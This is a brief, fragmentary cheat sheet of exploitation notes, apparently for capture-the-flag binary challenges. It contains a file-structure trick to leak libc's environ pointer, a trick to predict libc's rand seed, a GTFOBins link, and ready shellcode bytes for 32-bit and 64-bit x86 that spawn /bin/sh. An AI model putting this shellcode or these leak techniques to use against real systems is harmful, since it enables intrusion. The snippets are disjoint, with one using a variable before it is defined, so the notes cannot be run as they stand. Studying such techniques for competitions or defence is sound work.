f = FileStructure()
f.flags = 0xfbad1800
f._IO_read_base = libc.sym['environ']
f._IO_read_ptr = libc.sym['environ']+8
from ctypes import CDLL
libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(libc.time(0))
https://gtfobins.github.io/
32 bit: \x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x31\xDB\x31\xC9\x31\xD2\x89\xE3\x83\xC0\x0B\xCD\x80
64 bit: \x48\x31\xFF\x57\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x48\x31\xF6\x48\x31\xD2\x48\x89\xE7\x48\x31\xC0\x48\x83\xC0\x3B\x0F\x05
- pop x0, x1
- Remember that in AArch64 the stack-pointer must be 128-bit aligned.
- push x0, x1
- sets: X0 = 1
- sets: W0 = ~W1